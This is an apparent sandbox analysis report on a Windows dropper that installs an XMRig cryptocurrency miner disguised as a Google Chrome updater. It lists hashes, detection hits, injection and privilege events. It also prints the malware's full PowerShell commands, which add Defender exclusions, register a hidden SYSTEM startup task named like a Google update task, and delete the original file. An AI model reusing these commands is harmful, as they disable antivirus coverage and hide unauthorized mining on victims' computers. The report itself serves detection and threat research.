xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1798s
max time network
1793s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2024 19:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 2608 created 3364	2608	DLKFnAGYJBNTnxwq.exe	35
PID 2608 created 3364	2608	DLKFnAGYJBNTnxwq.exe	35
PID 2608 created 3364	2608	DLKFnAGYJBNTnxwq.exe	35
PID 2608 created 3364	2608	DLKFnAGYJBNTnxwq.exe	35
PID 2164 created 3364	2164	updater.exe	35
PID 2164 created 3364	2164	updater.exe	35
PID 2164 created 3364	2164	updater.exe	35
PID 1404 created 3364	1404	conhost.exe	35
PID 2164 created 3364	2164	updater.exe	35

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral10/memory/1992-125-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-129-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-131-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-133-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-137-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-139-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-141-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-143-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-145-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-147-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-149-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-151-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-153-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-155-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-157-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-159-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-161-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-163-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-165-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-167-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-169-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-171-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-173-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-175-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-177-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-179-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-181-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-183-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig
behavioral10/memory/1992-185-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2164	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral10/memory/1992-117-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-125-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-129-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-131-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-133-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-137-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-139-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-141-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-143-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-145-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-147-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-149-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-151-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-153-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-155-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-157-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-159-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-161-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-163-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-165-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-167-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-169-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-171-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-173-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-175-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-177-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-179-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-181-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-183-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx
behavioral10/memory/1992-185-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2164 set thread context of 1404	2164	updater.exe	117
PID 2164 set thread context of 1992	2164	updater.exe	111

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	DLKFnAGYJBNTnxwq.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3056	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
2608	DLKFnAGYJBNTnxwq.exe
2608	DLKFnAGYJBNTnxwq.exe
4240	powershell.exe
4240	powershell.exe
2608	DLKFnAGYJBNTnxwq.exe
2608	DLKFnAGYJBNTnxwq.exe
2220	powershell.exe
2220	powershell.exe
2608	DLKFnAGYJBNTnxwq.exe
2608	DLKFnAGYJBNTnxwq.exe
2608	DLKFnAGYJBNTnxwq.exe
2608	DLKFnAGYJBNTnxwq.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
2164	updater.exe
2164	updater.exe
4352	powershell.exe
4352	powershell.exe
2164	updater.exe
2164	updater.exe
64	powershell.exe
64	powershell.exe
2164	updater.exe
2164	updater.exe
2164	updater.exe
2164	updater.exe
1404	conhost.exe
1404	conhost.exe
2164	updater.exe
2164	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeIncreaseQuotaPrivilege	2220	powershell.exe
Token: SeSecurityPrivilege	2220	powershell.exe
Token: SeTakeOwnershipPrivilege	2220	powershell.exe
Token: SeLoadDriverPrivilege	2220	powershell.exe
Token: SeSystemProfilePrivilege	2220	powershell.exe
Token: SeSystemtimePrivilege	2220	powershell.exe
Token: SeProfSingleProcessPrivilege	2220	powershell.exe
Token: SeIncBasePriorityPrivilege	2220	powershell.exe
Token: SeCreatePagefilePrivilege	2220	powershell.exe
Token: SeBackupPrivilege	2220	powershell.exe
Token: SeRestorePrivilege	2220	powershell.exe
Token: SeShutdownPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeSystemEnvironmentPrivilege	2220	powershell.exe
Token: SeRemoteShutdownPrivilege	2220	powershell.exe
Token: SeUndockPrivilege	2220	powershell.exe
Token: SeManageVolumePrivilege	2220	powershell.exe
Token: 33	2220	powershell.exe
Token: 34	2220	powershell.exe
Token: 35	2220	powershell.exe
Token: 36	2220	powershell.exe
Token: SeIncreaseQuotaPrivilege	2220	powershell.exe
Token: SeSecurityPrivilege	2220	powershell.exe
Token: SeTakeOwnershipPrivilege	2220	powershell.exe
Token: SeLoadDriverPrivilege	2220	powershell.exe
Token: SeSystemProfilePrivilege	2220	powershell.exe
Token: SeSystemtimePrivilege	2220	powershell.exe
Token: SeProfSingleProcessPrivilege	2220	powershell.exe
Token: SeIncBasePriorityPrivilege	2220	powershell.exe
Token: SeCreatePagefilePrivilege	2220	powershell.exe
Token: SeBackupPrivilege	2220	powershell.exe
Token: SeRestorePrivilege	2220	powershell.exe
Token: SeShutdownPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeSystemEnvironmentPrivilege	2220	powershell.exe
Token: SeRemoteShutdownPrivilege	2220	powershell.exe
Token: SeUndockPrivilege	2220	powershell.exe
Token: SeManageVolumePrivilege	2220	powershell.exe
Token: 33	2220	powershell.exe
Token: 34	2220	powershell.exe
Token: 35	2220	powershell.exe
Token: 36	2220	powershell.exe
Token: SeIncreaseQuotaPrivilege	2220	powershell.exe
Token: SeSecurityPrivilege	2220	powershell.exe
Token: SeTakeOwnershipPrivilege	2220	powershell.exe
Token: SeLoadDriverPrivilege	2220	powershell.exe
Token: SeSystemProfilePrivilege	2220	powershell.exe
Token: SeSystemtimePrivilege	2220	powershell.exe
Token: SeProfSingleProcessPrivilege	2220	powershell.exe
Token: SeIncBasePriorityPrivilege	2220	powershell.exe
Token: SeCreatePagefilePrivilege	2220	powershell.exe
Token: SeBackupPrivilege	2220	powershell.exe
Token: SeRestorePrivilege	2220	powershell.exe
Token: SeShutdownPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeSystemEnvironmentPrivilege	2220	powershell.exe
Token: SeRemoteShutdownPrivilege	2220	powershell.exe
Token: SeUndockPrivilege	2220	powershell.exe
Token: SeManageVolumePrivilege	2220	powershell.exe
Token: 33	2220	powershell.exe
Token: 34	2220	powershell.exe
Token: 35	2220	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4788 wrote to memory of 1872	4788	cmd.exe	101
PID 4788 wrote to memory of 1872	4788	cmd.exe	101
PID 4724 wrote to memory of 3176	4724	powershell.exe	104
PID 4724 wrote to memory of 3176	4724	powershell.exe	104
PID 2164 wrote to memory of 1404	2164	updater.exe	117
PID 4424 wrote to memory of 3056	4424	cmd.exe	112
PID 4424 wrote to memory of 3056	4424	cmd.exe	112
PID 2164 wrote to memory of 1992	2164	updater.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3364
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:64
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:1992
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4424
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1404

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2164
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:5032

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
39KB

MD5
34495c769eb5a73d91f8bb071160b014

SHA1
9588a50fec1cefd67338905b5d1ab33e830ddc88

SHA256
792428b8f45ff1554cbbb3678fb90f035754267af02572f9c25a1367821d77e5

SHA512
b832ef0d44e1658664a05facd7ce1ac3d76b9871540b562221a6091fbd89de4717eb602dd04ab9110388cb350b98b874015e4cc15f81ccd309c82683ac81f991

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.2MB

MD5
7a2c40a9fb0802a86c16e00c3792ef35

SHA1
77ca4b9d0a5f72304aff9a3a426af0ea5fdc7773

SHA256
968464a3a5b6655b5f3dff71c0a6d3fde849f5ced3004c9ffb66da30f5bda10d

SHA512
8f0590b38d803c54f088469d4d68c9f41a3c368deb34d36addc46c1ace2cbd09d038a104a12a12e90efece66031af437dc29c29ba1ae006cfee110f91e2f1ddb

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
